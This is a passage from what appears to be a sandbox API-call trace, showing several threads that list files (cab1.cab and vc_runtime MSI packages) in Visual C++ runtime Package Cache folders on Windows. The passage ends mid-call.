lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe1e42500, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x4f699e, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0174.692] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0174.692] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0174.692] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce7900, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xcce7900, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xcce7900, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0174.692] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2=".") returned 1 [0174.692] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2="..") returned 1 [0174.692] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce7900, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xcce7900, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xcce7900, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0174.692] FindClose (in: hFindFile=0x3045528 | out: hFindFile=0x3045528) returned 1 [0174.692] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9abf8) returned 1 [0174.692] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054350) returned 1 [0174.693] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30551d8) returned 1 [0174.693] RtlExitUserThread (Status=0x0) Thread: id = 2239 os_tid = 0x13e4 [0174.693] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xec) returned 0x30551d8 [0174.694] wcscpy (in: _Dest=0x30551d8, _Source="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" [0174.694] wcscat (in: _Dest=0x30551d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\" [0174.694] wcscat (in: _Dest=0x30551d8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*" [0174.694] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9abf8 [0174.694] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045528 [0174.694] wcscmp (_String1=".", _String2=".") returned 0 [0174.694] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc800531, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.694] wcscmp (_String1="..", _String2=".") returned 1 [0174.694] wcscmp (_String1="..", _String2="..") returned 0 [0174.694] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e42500, ftCreationTime.dwHighDateTime=0x1d28867, ftLastAccessTime.dwLowDateTime=0xe1e42500, ftLastAccessTime.dwHighDateTime=0x1d28867, ftLastWriteTime.dwLowDateTime=0xe1e42500, ftLastWriteTime.dwHighDateTime=0x1d28867, nFileSizeHigh=0x0, nFileSizeLow=0x165257, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0174.694] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0174.694] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0174.694] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d4c00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xb9d4c00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xb9d4c00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0174.694] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2=".") returned 1 [0174.694] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2="..") returned 1 [0174.694] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9d4c00, ftCreationTime.dwHighDateTime=0x1d28868, ftLastAccessTime.dwLowDateTime=0xb9d4c00, ftLastAccessTime.dwHighDateTime=0x1d28868, ftLastWriteTime.dwLowDateTime=0xb9d4c00, ftLastWriteTime.dwHighDateTime=0x1d28868, nFileSizeHigh=0x0, nFileSizeLow=0x24000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0174.694] FindClose (in: hFindFile=0x3045528 | out: hFindFile=0x3045528) returned 1 [0174.694] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9abf8) returned 1 [0174.695] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30551d8) returned 1 [0174.695] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4670) returned 1 [0174.695] RtlExitUserThread (Status=0x0) Thread: id = 2240 os_tid = 0x13e8 [0174.696] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf0) returned 0x30551d8 [0174.696] wcscpy (in: _Dest=0x30551d8, _Source="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64" [0174.696] wcscat (in: _Dest=0x30551d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\" [0174.696] wcscat (in: _Dest=0x30551d8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*" [0174.696] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9abf8 [0174.696] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045528 [0174.696] wcscmp (_String1=".", _String2=".") returned 0 [0174.696] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f759d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.696] wcscmp (_String1="..", _String2=".") returned 1 [0174.696] wcscmp (_String1="..", _String2="..") returned 0 [0174.696] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8abe5b00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x8abe5b00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x8abe5b00, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x554520, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0174.696] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0174.696] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0174.696] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0174.696] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2=".") returned 1 [0174.696] wcscmp (_String1="vc_runtimeAdditional_x64.msi", _String2="..") returned 1 [0174.696] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0174.696] FindClose (in: hFindFile=0x3045528 | out: hFindFile=0x3045528) returned 1 [0174.697] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9abf8) returned 1 [0174.697] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30551d8) returned 1 [0174.697] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054fe8) returned 1 [0174.697] RtlExitUserThread (Status=0x0) Thread: id = 2241 os_tid = 0x13ec [0174.698] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xea) returned 0x30551d8 [0174.698] wcscpy (in: _Dest=0x30551d8, _Source="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64" [0174.698] wcscat (in: _Dest=0x30551d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\" [0174.698] wcscat (in: _Dest=0x30551d8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*") returned="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*" [0174.698] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9abf8 [0174.698] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045528 [0174.698] wcscmp (_String1=".", _String2=".") returned 0 [0174.698] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.698] wcscmp (_String1="..", _String2=".") returned 1 [0174.698] wcscmp (_String1="..", _String2="..") returned 0 [0174.698] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898d2e00, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x898d2e00, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x898d2e00, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0xfc90a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0174.698] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0174.698] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0174.698] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0174.698] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2=".") returned 1 [0174.698] wcscmp (_String1="vc_runtimeMinimum_x64.msi", _String2="..") returned 1 [0174.699] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x885c0100, ftCreationTime.dwHighDateTime=0x1cf3e15, ftLastAccessTime.dwLowDateTime=0x885c0100, ftLastAccessTime.dwHighDateTime=0x1cf3e15, ftLastWriteTime.dwLowDateTime=0x885c0100, ftLastWriteTime.dwHighDateTime=0x1cf3e15, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeMinimum_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0174.699] FindClose (in: hFindFile=0x3045528 | out: hFindFile=0x3045528) returned 1 [0174.699] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9abf8) returned 1 [0174.699] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30551d8) returned 1 [0174.699] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc4580) returned 1 [0174.699] RtlExitUserThread (Status=0x0) Thread: id = 2242 os_tid = 0x13f0 [0174.700] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xec) returned 0x30551d8 [0174.700] wcscpy (in: _Dest=0x30551d8, _Source="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86" [0174.700] wcscat (in: _Dest=0x30551d8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\" [0174.700] wcscat (in: _Dest=0x30551d8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*" [0174.700] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9abf8 [0174.700] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045528 [0174.701] wcscmp (_String1=".", _String2=".") returned 0 [0174.701] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.701] wcscmp (_String1="..", _String2=".") returned 1 [0174.701] wcscmp (_String1="..", _String2="..") returned 0 [0174.701] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98d1a600, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0x98d1a600, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0x98d1a600, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0x4ea418, dwReserved0=0x0, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0174.701] wcscmp (_String1="cab1.cab", _String2=".") returned 1 [0174.701] wcscmp (_String1="cab1.cab", _String2="..") returned 1 [0174.701] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0174.701] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2=".") returned 1 [0174.701] wcscmp (_String1="vc_runtimeAdditional_x86.msi", _String2="..") returned 1 [0174.701] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x565c9900, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x565c9900, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x565c9900, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0x0, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x86.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0174.701] FindClose (in: hFindFile=0x3045528 | out: hFindFile=0x3045528) returned 1 [0174.701] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9abf8) returned 1 [0174.701] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30551d8) returned 1 [0174.701] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc43a0) returned 1 [0174.701] RtlExitUserThread (Status=0x0) Thread: id = 2243 os_tid = 0x13f4 [0174.702] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc43a0 [0174.702] wcscpy (in: _Dest=0x2fc43a0, _Source="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86" [0174.702] wcscat (in: _Dest=0x2fc43a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\" [0174.702] wcscat (in: _Dest=0x2fc43a0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*") returned="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*" [0174.702] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x250) returned 0x2f9abf8 [0174.702] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3045528 [0174.703] wcscmp (_String1=".", _String2=".") returned 0 [0174.703] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: lpFindFileData=0x2f9abf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0174.703] wcscmp (_String1="..", _String2=".") returned 1 [0174.703] wcscmp (_String1="..", _String2="..") returned 0 [0174.703] FindNextFileW (in: hFindFile=0x3045528, lpFindFileData=0x2f9abf8 | out: 